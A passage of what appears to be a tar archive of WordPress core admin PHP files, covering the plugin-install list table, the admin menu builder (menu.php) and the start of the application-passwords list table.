					$user = isset( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' );

					// If the save url parameter is passed with a falsey value, don't save the favorite user.
					if ( ! isset( $_GET['save'] ) || $_GET['save'] ) {
						update_user_meta( get_current_user_id(), 'wporg_favorites', $user );
					}
				} else {
					$user = get_user_option( 'wporg_favorites' );
				}
				if ( $user ) {
					$args['user'] = $user;
				} else {
					$args = false;
				}

				add_action( 'install_plugins_favorites', 'install_plugins_favorites_form', 9, 0 );
				break;

			default:
				$args = false;
				break;
		}

		/**
		 * Filters API request arguments for each Add Plugins screen tab.
		 *
		 * The dynamic portion of the hook name, `$tab`, refers to the plugin install tabs.
		 *
		 * Possible hook names include:
		 *
		 *  - `install_plugins_table_api_args_favorites`
		 *  - `install_plugins_table_api_args_featured`
		 *  - `install_plugins_table_api_args_popular`
		 *  - `install_plugins_table_api_args_recommended`
		 *  - `install_plugins_table_api_args_upload`
		 *  - `install_plugins_table_api_args_search`
		 *  - `install_plugins_table_api_args_beta`
		 *
		 * @since 3.7.0
		 *
		 * @param array|false $args Plugin install API arguments.
		 */
		$args = apply_filters( "install_plugins_table_api_args_{$tab}", $args );

		if ( ! $args ) {
			return;
		}

		$api = plugins_api( 'query_plugins', $args );

		if ( is_wp_error( $api ) ) {
			$this->error = $api;
			return;
		}

		$this->items = $api->plugins;

		if ( $this->orderby ) {
			uasort( $this->items, array( $this, 'order_callback' ) );
		}

		$this->set_pagination_args(
			array(
				'total_items' => $api->info['results'],
				'per_page'    => $args['per_page'],
			)
		);

		if ( isset( $api->info['groups'] ) ) {
			$this->groups = $api->info['groups'];
		}

		if ( $installed_plugins ) {
			$js_plugins = array_fill_keys(
				array( 'all', 'search', 'active', 'inactive', 'recently_activated', 'mustuse', 'dropins' ),
				array()
			);

			$js_plugins['all'] = array_values( wp_list_pluck( $installed_plugins, 'plugin' ) );
			$upgrade_plugins   = wp_filter_object_list( $installed_plugins, array( 'upgrade' => true ), 'and', 'plugin' );

			if ( $upgrade_plugins ) {
				$js_plugins['upgrade'] = array_values( $upgrade_plugins );
			}

			wp_localize_script(
				'updates',
				'_wpUpdatesItemCounts',
				array(
					'plugins' => $js_plugins,
					'totals'  => wp_get_update_data(),
				)
			);
		}
	}

	/**
	 */
	public function no_items() {
		if ( isset( $this->error ) ) {
			$error_message  = '<p>' . $this->error->get_error_message() . '</p>';
			$error_message .= '<p class="hide-if-no-js"><button class="button try-again">' . __( 'Try Again' ) . '</button></p>';
			wp_admin_notice(
				$error_message,
				array(
					'additional_classes' => array( 'inline', 'error' ),
					'paragraph_wrap'     => false,
				)
			);
			?>
		<?php } else { ?>
			<div class="no-plugin-results"><?php _e( 'No plugins found. Try a different search.' ); ?></div>
			<?php
		}
	}

	/**
	 * @global array $tabs
	 * @global string $tab
	 *
	 * @return array
	 */
	protected function get_views() {
		global $tabs, $tab;

		$display_tabs = array();
		foreach ( (array) $tabs as $action => $text ) {
			$display_tabs[ 'plugin-install-' . $action ] = array(
				'url'     => self_admin_url( 'plugin-install.php?tab=' . $action ),
				'label'   => $text,
				'current' => $action === $tab,
			);
		}
		// No longer a real tab.
		unset( $display_tabs['plugin-install-upload'] );

		return $this->get_views_links( $display_tabs );
	}

	/**
	 * Overrides parent views so we can use the filter bar display.
	 */
	public function views() {
		$views = $this->get_views();

		/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
		$views = apply_filters( "views_{$this->screen->id}", $views );

		$this->screen->render_screen_reader_content( 'heading_views' );
		?>
<div class="wp-filter">
	<ul class="filter-links">
		<?php
		if ( ! empty( $views ) ) {
			foreach ( $views as $class => $view ) {
				$views[ $class ] = "\t<li class='$class'>$view";
			}
			echo implode( " </li>\n", $views ) . "</li>\n";
		}
		?>
	</ul>

		<?php install_search_form(); ?>
</div>
		<?php
	}

	/**
	 * Displays the plugin install table.
	 *
	 * Overrides the parent display() method to provide a different container.
	 *
	 * @since 4.0.0
	 */
	public function display() {
		$singular = $this->_args['singular'];

		$data_attr = '';

		if ( $singular ) {
			$data_attr = " data-wp-lists='list:$singular'";
		}

		$this->display_tablenav( 'top' );

		?>
<div class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
		<?php
		$this->screen->render_screen_reader_content( 'heading_list' );
		?>
	<div id="the-list"<?php echo $data_attr; ?>>
		<?php $this->display_rows_or_placeholder(); ?>
	</div>
</div>
		<?php
		$this->display_tablenav( 'bottom' );
	}

	/**
	 * @global string $tab
	 *
	 * @param string $which
	 */
	protected function display_tablenav( $which ) {
		if ( 'featured' === $GLOBALS['tab'] ) {
			return;
		}

		if ( 'top' === $which ) {
			wp_referer_field();
			?>
			<div class="tablenav top">
				<div class="alignleft actions">
					<?php
					/**
					 * Fires before the Plugin Install table header pagination is displayed.
					 *
					 * @since 2.7.0
					 */
					do_action( 'install_plugins_table_header' );
					?>
				</div>
				<?php $this->pagination( $which ); ?>
				<br class="clear" />
			</div>
		<?php } else { ?>
			<div class="tablenav bottom">
				<?php $this->pagination( $which ); ?>
				<br class="clear" />
			</div>
			<?php
		}
	}

	/**
	 * @return array
	 */
	protected function get_table_classes() {
		return array( 'widefat', $this->_args['plural'] );
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		return array();
	}

	/**
	 * @param object $plugin_a
	 * @param object $plugin_b
	 * @return int
	 */
	private function order_callback( $plugin_a, $plugin_b ) {
		$orderby = $this->orderby;
		if ( ! isset( $plugin_a->$orderby, $plugin_b->$orderby ) ) {
			return 0;
		}

		$a = $plugin_a->$orderby;
		$b = $plugin_b->$orderby;

		if ( $a === $b ) {
			return 0;
		}

		if ( 'DESC' === $this->order ) {
			return ( $a < $b ) ? 1 : -1;
		} else {
			return ( $a < $b ) ? -1 : 1;
		}
	}

	public function display_rows() {
		$plugins_allowedtags = array(
			'a'       => array(
				'href'   => array(),
				'title'  => array(),
				'target' => array(),
			),
			'abbr'    => array( 'title' => array() ),
			'acronym' => array( 'title' => array() ),
			'code'    => array(),
			'pre'     => array(),
			'em'      => array(),
			'strong'  => array(),
			'ul'      => array(),
			'ol'      => array(),
			'li'      => array(),
			'p'       => array(),
			'br'      => array(),
		);

		$plugins_group_titles = array(
			'Performance' => _x( 'Performance', 'Plugin installer group title' ),
			'Social'      => _x( 'Social', 'Plugin installer group title' ),
			'Tools'       => _x( 'Tools', 'Plugin installer group title' ),
		);

		$group = null;

		foreach ( (array) $this->items as $plugin ) {
			if ( is_object( $plugin ) ) {
				$plugin = (array) $plugin;
			}

			// Display the group heading if there is one.
			if ( isset( $plugin['group'] ) && $plugin['group'] !== $group ) {
				if ( isset( $this->groups[ $plugin['group'] ] ) ) {
					$group_name = $this->groups[ $plugin['group'] ];
					if ( isset( $plugins_group_titles[ $group_name ] ) ) {
						$group_name = $plugins_group_titles[ $group_name ];
					}
				} else {
					$group_name = $plugin['group'];
				}

				// Starting a new group, close off the divs of the last one.
				if ( ! empty( $group ) ) {
					echo '</div></div>';
				}

				echo '<div class="plugin-group"><h3>' . esc_html( $group_name ) . '</h3>';
				// Needs an extra wrapping div for nth-child selectors to work.
				echo '<div class="plugin-items">';

				$group = $plugin['group'];
			}

			$title = wp_kses( $plugin['name'], $plugins_allowedtags );

			// Remove any HTML from the description.
			$description = strip_tags( $plugin['short_description'] );

			/**
			 * Filters the plugin card description on the Add Plugins screen.
			 *
			 * @since 6.0.0
			 *
			 * @param string $description Plugin card description.
			 * @param array  $plugin      An array of plugin data. See {@see plugins_api()}
			 *                            for the list of possible values.
			 */
			$description = apply_filters( 'plugin_install_description', $description, $plugin );

			$version = wp_kses( $plugin['version'], $plugins_allowedtags );

			$name = strip_tags( $title . ' ' . $version );

			$author = wp_kses( $plugin['author'], $plugins_allowedtags );
			if ( ! empty( $author ) ) {
				/* translators: %s: Plugin author. */
				$author = ' <cite>' . sprintf( __( 'By %s' ), $author ) . '</cite>';
			}

			$requires_php = isset( $plugin['requires_php'] ) ? $plugin['requires_php'] : null;
			$requires_wp  = isset( $plugin['requires'] ) ? $plugin['requires'] : null;

			$compatible_php = is_php_version_compatible( $requires_php );
			$compatible_wp  = is_wp_version_compatible( $requires_wp );
			$tested_wp      = ( empty( $plugin['tested'] ) || version_compare( get_bloginfo( 'version' ), $plugin['tested'], '<=' ) );

			$action_links = array();

			if ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ) {
				$status = install_plugin_install_status( $plugin );

				switch ( $status['status'] ) {
					case 'install':
						if ( $status['url'] ) {
							if ( $compatible_php && $compatible_wp ) {
								$action_links[] = sprintf(
									'<a class="install-now button" data-slug="%s" href="%s" aria-label="%s" data-name="%s">%s</a>',
									esc_attr( $plugin['slug'] ),
									esc_url( $status['url'] ),
									/* translators: %s: Plugin name and version. */
									esc_attr( sprintf( _x( 'Install %s now', 'plugin' ), $name ) ),
									esc_attr( $name ),
									__( 'Install Now' )
								);
							} else {
								$action_links[] = sprintf(
									'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
									_x( 'Cannot Install', 'plugin' )
								);
							}
						}
						break;

					case 'update_available':
						if ( $status['url'] ) {
							if ( $compatible_php && $compatible_wp ) {
								$action_links[] = sprintf(
									'<a class="update-now button aria-button-if-js" data-plugin="%s" data-slug="%s" href="%s" aria-label="%s" data-name="%s">%s</a>',
									esc_attr( $status['file'] ),
									esc_attr( $plugin['slug'] ),
									esc_url( $status['url'] ),
									/* translators: %s: Plugin name and version. */
									esc_attr( sprintf( _x( 'Update %s now', 'plugin' ), $name ) ),
									esc_attr( $name ),
									__( 'Update Now' )
								);
							} else {
								$action_links[] = sprintf(
									'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
									_x( 'Cannot Update', 'plugin' )
								);
							}
						}
						break;

					case 'latest_installed':
					case 'newer_installed':
						if ( is_plugin_active( $status['file'] ) ) {
							$action_links[] = sprintf(
								'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
								_x( 'Active', 'plugin' )
							);
						} elseif ( current_user_can( 'activate_plugin', $status['file'] ) ) {
							if ( $compatible_php && $compatible_wp ) {
								$button_text = __( 'Activate' );
								/* translators: %s: Plugin name. */
								$button_label = _x( 'Activate %s', 'plugin' );
								$activate_url = add_query_arg(
									array(
										'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $status['file'] ),
										'action'   => 'activate',
										'plugin'   => $status['file'],
									),
									network_admin_url( 'plugins.php' )
								);

								if ( is_network_admin() ) {
									$button_text = __( 'Network Activate' );
									/* translators: %s: Plugin name. */
									$button_label = _x( 'Network Activate %s', 'plugin' );
									$activate_url = add_query_arg( array( 'networkwide' => 1 ), $activate_url );
								}

								$action_links[] = sprintf(
									'<a href="%1$s" class="button activate-now" aria-label="%2$s">%3$s</a>',
									esc_url( $activate_url ),
									esc_attr( sprintf( $button_label, $plugin['name'] ) ),
									$button_text
								);
							} else {
								$action_links[] = sprintf(
									'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
									_x( 'Cannot Activate', 'plugin' )
								);
							}
						} else {
							$action_links[] = sprintf(
								'<button type="button" class="button button-disabled" disabled="disabled">%s</button>',
								_x( 'Installed', 'plugin' )
							);
						}
						break;
				}
			}

			$details_link = self_admin_url(
				'plugin-install.php?tab=plugin-information&amp;plugin=' . $plugin['slug'] .
				'&amp;TB_iframe=true&amp;width=600&amp;height=550'
			);

			$action_links[] = sprintf(
				'<a href="%s" class="thickbox open-plugin-details-modal" aria-label="%s" data-title="%s">%s</a>',
				esc_url( $details_link ),
				/* translators: %s: Plugin name and version. */
				esc_attr( sprintf( __( 'More information about %s' ), $name ) ),
				esc_attr( $name ),
				__( 'More Details' )
			);

			if ( ! empty( $plugin['icons']['svg'] ) ) {
				$plugin_icon_url = $plugin['icons']['svg'];
			} elseif ( ! empty( $plugin['icons']['2x'] ) ) {
				$plugin_icon_url = $plugin['icons']['2x'];
			} elseif ( ! empty( $plugin['icons']['1x'] ) ) {
				$plugin_icon_url = $plugin['icons']['1x'];
			} else {
				$plugin_icon_url = $plugin['icons']['default'];
			}

			/**
			 * Filters the install action links for a plugin.
			 *
			 * @since 2.7.0
			 *
			 * @param string[] $action_links An array of plugin action links.
			 *                               Defaults are links to Details and Install Now.
			 * @param array    $plugin       An array of plugin data. See {@see plugins_api()}
			 *                               for the list of possible values.
			 */
			$action_links = apply_filters( 'plugin_install_action_links', $action_links, $plugin );

			$last_updated_timestamp = strtotime( $plugin['last_updated'] );
			?>
		<div class="plugin-card plugin-card-<?php echo sanitize_html_class( $plugin['slug'] ); ?>">
			<?php
			if ( ! $compatible_php || ! $compatible_wp ) {
				$incompatible_notice_message = '';
				if ( ! $compatible_php && ! $compatible_wp ) {
					$incompatible_notice_message .= __( 'This plugin does not work with your versions of WordPress and PHP.' );
					if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
						$incompatible_notice_message .= sprintf(
							/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
							' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
							self_admin_url( 'update-core.php' ),
							esc_url( wp_get_update_php_url() )
						);
						$incompatible_notice_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
					} elseif ( current_user_can( 'update_core' ) ) {
						$incompatible_notice_message .= sprintf(
							/* translators: %s: URL to WordPress Updates screen. */
							' ' . __( '<a href="%s">Please update WordPress</a>.' ),
							self_admin_url( 'update-core.php' )
						);
					} elseif ( current_user_can( 'update_php' ) ) {
						$incompatible_notice_message .= sprintf(
							/* translators: %s: URL to Update PHP page. */
							' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
							esc_url( wp_get_update_php_url() )
						);
						$incompatible_notice_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
					}
				} elseif ( ! $compatible_wp ) {
					$incompatible_notice_message .= __( 'This plugin does not work with your version of WordPress.' );
					if ( current_user_can( 'update_core' ) ) {
						$incompatible_notice_message .= printf(
							/* translators: %s: URL to WordPress Updates screen. */
							' ' . __( '<a href="%s">Please update WordPress</a>.' ),
							self_admin_url( 'update-core.php' )
						);
					}
				} elseif ( ! $compatible_php ) {
					$incompatible_notice_message .= __( 'This plugin does not work with your version of PHP.' );
					if ( current_user_can( 'update_php' ) ) {
						$incompatible_notice_message .= sprintf(
							/* translators: %s: URL to Update PHP page. */
							' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
							esc_url( wp_get_update_php_url() )
						);
						$incompatible_notice_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
					}
				}

				wp_admin_notice(
					$incompatible_notice_message,
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt', 'inline' ),
					)
				);
			}
			?>
			<div class="plugin-card-top">
				<div class="name column-name">
					<h3>
						<a href="<?php echo esc_url( $details_link ); ?>" class="thickbox open-plugin-details-modal">
						<?php echo $title; ?>
						<img src="<?php echo esc_url( $plugin_icon_url ); ?>" class="plugin-icon" alt="" />
						</a>
					</h3>
				</div>
				<div class="action-links">
					<?php
					if ( $action_links ) {
						echo '<ul class="plugin-action-buttons"><li>' . implode( '</li><li>', $action_links ) . '</li></ul>';
					}
					?>
				</div>
				<div class="desc column-description">
					<p><?php echo $description; ?></p>
					<p class="authors"><?php echo $author; ?></p>
				</div>
			</div>
			<div class="plugin-card-bottom">
				<div class="vers column-rating">
					<?php
					wp_star_rating(
						array(
							'rating' => $plugin['rating'],
							'type'   => 'percent',
							'number' => $plugin['num_ratings'],
						)
					);
					?>
					<span class="num-ratings" aria-hidden="true">(<?php echo number_format_i18n( $plugin['num_ratings'] ); ?>)</span>
				</div>
				<div class="column-updated">
					<strong><?php _e( 'Last Updated:' ); ?></strong>
					<?php
						/* translators: %s: Human-readable time difference. */
						printf( __( '%s ago' ), human_time_diff( $last_updated_timestamp ) );
					?>
				</div>
				<div class="column-downloaded">
					<?php
					if ( $plugin['active_installs'] >= 1000000 ) {
						$active_installs_millions = floor( $plugin['active_installs'] / 1000000 );
						$active_installs_text     = sprintf(
							/* translators: %s: Number of millions. */
							_nx( '%s+ Million', '%s+ Million', $active_installs_millions, 'Active plugin installations' ),
							number_format_i18n( $active_installs_millions )
						);
					} elseif ( 0 === $plugin['active_installs'] ) {
						$active_installs_text = _x( 'Less Than 10', 'Active plugin installations' );
					} else {
						$active_installs_text = number_format_i18n( $plugin['active_installs'] ) . '+';
					}
					/* translators: %s: Number of installations. */
					printf( __( '%s Active Installations' ), $active_installs_text );
					?>
				</div>
				<div class="column-compatibility">
					<?php
					if ( ! $tested_wp ) {
						echo '<span class="compatibility-untested">' . __( 'Untested with your version of WordPress' ) . '</span>';
					} elseif ( ! $compatible_wp ) {
						echo '<span class="compatibility-incompatible">' . __( '<strong>Incompatible</strong> with your version of WordPress' ) . '</span>';
					} else {
						echo '<span class="compatibility-compatible">' . __( '<strong>Compatible</strong> with your version of WordPress' ) . '</span>';
					}
					?>
				</div>
			</div>
		</div>
			<?php
		}

		// Close off the group divs of the last one.
		if ( ! empty( $group ) ) {
			echo '</div></div>';
		}
	}
}
menu.php000064400000022575150275632050006241 0ustar00<?php
/**
 * Build Administration Menu.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( is_network_admin() ) {

	/**
	 * Fires before the administration menu loads in the Network Admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @private
	 * @since 3.1.0
	 */
	do_action( '_network_admin_menu' );
} elseif ( is_user_admin() ) {

	/**
	 * Fires before the administration menu loads in the User Admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @private
	 * @since 3.1.0
	 */
	do_action( '_user_admin_menu' );
} else {

	/**
	 * Fires before the administration menu loads in the admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @private
	 * @since 2.2.0
	 */
	do_action( '_admin_menu' );
}

// Create list of page plugin hook names.
foreach ( $menu as $menu_page ) {
	$pos = strpos( $menu_page[2], '?' );

	if ( false !== $pos ) {
		// Handle post_type=post|page|foo pages.
		$hook_name = substr( $menu_page[2], 0, $pos );
		$hook_args = substr( $menu_page[2], $pos + 1 );
		wp_parse_str( $hook_args, $hook_args );

		// Set the hook name to be the post type.
		if ( isset( $hook_args['post_type'] ) ) {
			$hook_name = $hook_args['post_type'];
		} else {
			$hook_name = basename( $hook_name, '.php' );
		}
		unset( $hook_args );
	} else {
		$hook_name = basename( $menu_page[2], '.php' );
	}

	$hook_name = sanitize_title( $hook_name );

	if ( isset( $compat[ $hook_name ] ) ) {
		$hook_name = $compat[ $hook_name ];
	} elseif ( ! $hook_name ) {
		continue;
	}

	$admin_page_hooks[ $menu_page[2] ] = $hook_name;
}
unset( $menu_page, $compat );

$_wp_submenu_nopriv = array();
$_wp_menu_nopriv    = array();
// Loop over submenus and remove pages for which the user does not have privs.
foreach ( $submenu as $parent => $sub ) {
	foreach ( $sub as $index => $data ) {
		if ( ! current_user_can( $data[1] ) ) {
			unset( $submenu[ $parent ][ $index ] );
			$_wp_submenu_nopriv[ $parent ][ $data[2] ] = true;
		}
	}
	unset( $index, $data );

	if ( empty( $submenu[ $parent ] ) ) {
		unset( $submenu[ $parent ] );
	}
}
unset( $sub, $parent );

/*
 * Loop over the top-level menu.
 * Menus for which the original parent is not accessible due to lack of privileges
 * will have the next submenu in line be assigned as the new menu parent.
 */
foreach ( $menu as $id => $data ) {
	if ( empty( $submenu[ $data[2] ] ) ) {
		continue;
	}

	$subs       = $submenu[ $data[2] ];
	$first_sub  = reset( $subs );
	$old_parent = $data[2];
	$new_parent = $first_sub[2];

	/*
	 * If the first submenu is not the same as the assigned parent,
	 * make the first submenu the new parent.
	 */
	if ( $new_parent !== $old_parent ) {
		$_wp_real_parent_file[ $old_parent ] = $new_parent;

		$menu[ $id ][2] = $new_parent;

		foreach ( $submenu[ $old_parent ] as $index => $data ) {
			$submenu[ $new_parent ][ $index ] = $submenu[ $old_parent ][ $index ];
			unset( $submenu[ $old_parent ][ $index ] );
		}
		unset( $submenu[ $old_parent ], $index );

		if ( isset( $_wp_submenu_nopriv[ $old_parent ] ) ) {
			$_wp_submenu_nopriv[ $new_parent ] = $_wp_submenu_nopriv[ $old_parent ];
		}
	}
}
unset( $id, $data, $subs, $first_sub, $old_parent, $new_parent );

if ( is_network_admin() ) {

	/**
	 * Fires before the administration menu loads in the Network Admin.
	 *
	 * @since 3.1.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'network_admin_menu', '' );
} elseif ( is_user_admin() ) {

	/**
	 * Fires before the administration menu loads in the User Admin.
	 *
	 * @since 3.1.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'user_admin_menu', '' );
} else {

	/**
	 * Fires before the administration menu loads in the admin.
	 *
	 * @since 1.5.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'admin_menu', '' );
}

/*
 * Remove menus that have no accessible submenus and require privileges
 * that the user does not have. Run re-parent loop again.
 */
foreach ( $menu as $id => $data ) {
	if ( ! current_user_can( $data[1] ) ) {
		$_wp_menu_nopriv[ $data[2] ] = true;
	}

	/*
	 * If there is only one submenu and it is has same destination as the parent,
	 * remove the submenu.
	 */
	if ( ! empty( $submenu[ $data[2] ] ) && 1 === count( $submenu[ $data[2] ] ) ) {
		$subs      = $submenu[ $data[2] ];
		$first_sub = reset( $subs );

		if ( $data[2] === $first_sub[2] ) {
			unset( $submenu[ $data[2] ] );
		}
	}

	// If submenu is empty...
	if ( empty( $submenu[ $data[2] ] ) ) {
		// And user doesn't have privs, remove menu.
		if ( isset( $_wp_menu_nopriv[ $data[2] ] ) ) {
			unset( $menu[ $id ] );
		}
	}
}
unset( $id, $data, $subs, $first_sub );

/**
 * Adds a CSS class to a string.
 *
 * @since 2.7.0
 *
 * @param string $class_to_add The CSS class to add.
 * @param string $classes      The string to add the CSS class to.
 * @return string The string with the CSS class added.
 */
function add_cssclass( $class_to_add, $classes ) {
	if ( empty( $classes ) ) {
		return $class_to_add;
	}

	return $classes . ' ' . $class_to_add;
}

/**
 * Adds CSS classes for top-level administration menu items.
 *
 * The list of added classes includes `.menu-top-first` and `.menu-top-last`.
 *
 * @since 2.7.0
 *
 * @param array $menu The array of administration menu items.
 * @return array The array of administration menu items with the CSS classes added.
 */
function add_menu_classes( $menu ) {
	$first_item  = false;
	$last_order  = false;
	$items_count = count( $menu );

	$i = 0;

	foreach ( $menu as $order => $top ) {
		++$i;

		if ( 0 === $order ) { // Dashboard is always shown/single.
			$menu[0][4] = add_cssclass( 'menu-top-first', $top[4] );
			$last_order = 0;
			continue;
		}

		if ( str_starts_with( $top[2], 'separator' ) && false !== $last_order ) { // If separator.
			$first_item = true;
			$classes    = $menu[ $last_order ][4];

			$menu[ $last_order ][4] = add_cssclass( 'menu-top-last', $classes );
			continue;
		}

		if ( $first_item ) {
			$first_item = false;
			$classes    = $menu[ $order ][4];

			$menu[ $order ][4] = add_cssclass( 'menu-top-first', $classes );
		}

		if ( $i === $items_count ) { // Last item.
			$classes = $menu[ $order ][4];

			$menu[ $order ][4] = add_cssclass( 'menu-top-last', $classes );
		}

		$last_order = $order;
	}

	/**
	 * Filters administration menu array with classes added for top-level items.
	 *
	 * @since 2.7.0
	 *
	 * @param array $menu Associative array of administration menu items.
	 */
	return apply_filters( 'add_menu_classes', $menu );
}

uksort( $menu, 'strnatcasecmp' ); // Make it all pretty.

/**
 * Filters whether to enable custom ordering of the administration menu.
 *
 * See the {@see 'menu_order'} filter for reordering menu items.
 *
 * @since 2.8.0
 *
 * @param bool $custom Whether custom ordering is enabled. Default false.
 */
if ( apply_filters( 'custom_menu_order', false ) ) {
	$menu_order = array();

	foreach ( $menu as $menu_item ) {
		$menu_order[] = $menu_item[2];
	}
	unset( $menu_item );

	$default_menu_order = $menu_order;

	/**
	 * Filters the order of administration menu items.
	 *
	 * A truthy value must first be passed to the {@see 'custom_menu_order'} filter
	 * for this filter to work. Use the following to enable custom menu ordering:
	 *
	 *     add_filter( 'custom_menu_order', '__return_true' );
	 *
	 * @since 2.8.0
	 *
	 * @param array $menu_order An ordered array of menu items.
	 */
	$menu_order = apply_filters( 'menu_order', $menu_order );
	$menu_order = array_flip( $menu_order );

	$default_menu_order = array_flip( $default_menu_order );

	/**
	 * @global array $menu_order
	 * @global array $default_menu_order
	 *
	 * @param array $a
	 * @param array $b
	 * @return int
	 */
	function sort_menu( $a, $b ) {
		global $menu_order, $default_menu_order;

		$a = $a[2];
		$b = $b[2];

		if ( isset( $menu_order[ $a ] ) && ! isset( $menu_order[ $b ] ) ) {
			return -1;
		} elseif ( ! isset( $menu_order[ $a ] ) && isset( $menu_order[ $b ] ) ) {
			return 1;
		} elseif ( isset( $menu_order[ $a ] ) && isset( $menu_order[ $b ] ) ) {
			if ( $menu_order[ $a ] === $menu_order[ $b ] ) {
				return 0;
			}
			return ( $menu_order[ $a ] < $menu_order[ $b ] ) ? -1 : 1;
		} else {
			return ( $default_menu_order[ $a ] <= $default_menu_order[ $b ] ) ? -1 : 1;
		}
	}

	usort( $menu, 'sort_menu' );
	unset( $menu_order, $default_menu_order );
}

// Prevent adjacent separators.
$prev_menu_was_separator = false;
foreach ( $menu as $id => $data ) {
	if ( false === stristr( $data[4], 'wp-menu-separator' ) ) {

		// This item is not a separator, so falsey the toggler and do nothing.
		$prev_menu_was_separator = false;
	} else {

		// The previous item was a separator, so unset this one.
		if ( true === $prev_menu_was_separator ) {
			unset( $menu[ $id ] );
		}

		// This item is a separator, so truthy the toggler and move on.
		$prev_menu_was_separator = true;
	}
}
unset( $id, $data, $prev_menu_was_separator );

// Remove the last menu item if it is a separator.
$last_menu_key = array_keys( $menu );
$last_menu_key = array_pop( $last_menu_key );
if ( ! empty( $menu ) && 'wp-menu-separator' === $menu[ $last_menu_key ][4] ) {
	unset( $menu[ $last_menu_key ] );
}
unset( $last_menu_key );

if ( ! user_can_access_admin_page() ) {

	/**
	 * Fires when access to an admin page is denied.
	 *
	 * @since 2.5.0
	 */
	do_action( 'admin_page_access_denied' );

	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$menu = add_menu_classes( $menu );
class-wp-application-passwords-list-table.php000064400000015436150275632050015406 0ustar00<?php
/**
 * List Table API: WP_Application_Passwords_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 5.6.0
 */

/**
 * Class for displaying the list of application password items.
 *
 * @since 5.6.0
 *
 * @see WP_List_Table
 */
class WP_Application_Passwords_List_Table extends WP_List_Table {

	/**
	 * Gets the list of columns.
	 *
	 * @since 5.6.0
	 *
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		return array(
			'name'      => __( 'Name' ),
			'created'   => __( 'Created' ),
			'last_used' => __( 'Last Used' ),
			'last_ip'   => __( 'Last IP' ),
			'revoke'    => __( 'Revoke' ),
		);
	}

	/**
	 * Prepares the list of items for displaying.
	 *
	 * @since 5.6.0
	 *
	 * @global int $user_id User ID.
	 */
	public function prepare_items() {
		global $user_id;
		$this->items = array_reverse( WP_Application_Passwords::get_user_application_passwords( $user_id ) );
	}

	/**
	 * Handles the name column output.
	 *
	 * @since 5.6.0
	 *
	 * @param array $item The current application password item.
	 */
	public function column_name( $item ) {
		echo esc_html( $item['name'] );
	}

	/**
	 * Handles the created column output.
	 *
	 * @since 5.6.0
	 *
	 * @param array $item The current application password item.
	 */
	public function column_created( $item ) {
		if ( empty( $item['created'] ) ) {
			echo '&mdash;';
		} else {
			echo date_i18n( __( 'F j, Y' ), $item['created'] );
		}
	}

	/**
	 * Handles the last used column output.
	 *
	 * @since 5.6.0
	 *
	 * @param array $item The current application password item.
	 */
	public function column_last_used( $item ) {
		if ( empty( $item['last_used'] ) ) {
			echo '&mdash;';
		} else {
			echo date_i18n( __( 'F j, Y' ), $item['last_used'] );
		}
	}

	/**
	 * Handles the last ip column output.
	 *
	 * @since 5.6.0
	 *
	 * @param array $item The current application password item.
	 */
	public function column_last_ip( $item ) {
		if ( empty( $item['last_ip'] ) ) {
			echo '&mdash;';
		} else {
			echo $item['last_ip'];
		}
	}

	/**
	 * Handles the revoke column output.
	 *
	 * @since 5.6.0
	 *
	 * @param array $item The current application password item.
	 */
	public function column_revoke( $item ) {
		$name = 'revoke-application-password-' . $item['uuid'];
		printf(
			'<button type="button" name="%1$s" id="%1$s" class="button delete" aria-label="%2$s">%3$s</button>',
			esc_attr( $name ),
			/* translators: %s: the application password's given name. */
			esc_attr( sprintf( __( 'Revoke "%s"' ), $item['name'] ) ),
			__( 'Revoke' )
		);
	}

	/**
	 * Generates content for a single row of the table
	 *
	 * @since 5.6.0
	 *
	 * @param array  $item        The current item.
	 * @param string $column_name The current column name.
	 */
	protected function column_default( $item, $column_name ) {
		/**
		 * Fires for each custom column in the Application Passwords list table.
		 *
		 * Custom columns are registered using the {@see 'manage_application-passwords-user_columns'} filter.
		 *
		 * @since 5.6.0
		 *
		 * @param string $column_name Name of the custom column.
		 * @param array  $item        The application password item.
		 */
		do_action( "manage_{$this->screen->id}_custom_column", $column_name, $item );
	}

	/**
	 * Generates custom table navigation to prevent conflicting nonces.
	 *
	 * @since 5.6.0
	 *
	 * @param string $which The location of the bulk actions: 'top' or 'bottom'.
	 */
	protected function display_tablenav( $which ) {
		?>
		<div class="tablenav <?php echo esc_attr( $which ); ?>">
			<?php if ( 'bottom' === $which ) : ?>
				<div class="alignright">
					<button type="button" name="revoke-all-application-passwords" id="revoke-all-application-passwords" class="button delete"><?php _e( 'Revoke all application passwords' ); ?></button>
				</div>
			<?php endif; ?>
			<div class="alignleft actions bulkactions">
				<?php $this->bulk_actions( $which ); ?>
			</div>
			<?php
			$this->extra_tablenav( $which );
			$this->pagination( $which );
			?>
			<br class="clear" />
		</div>
		<?php
	}

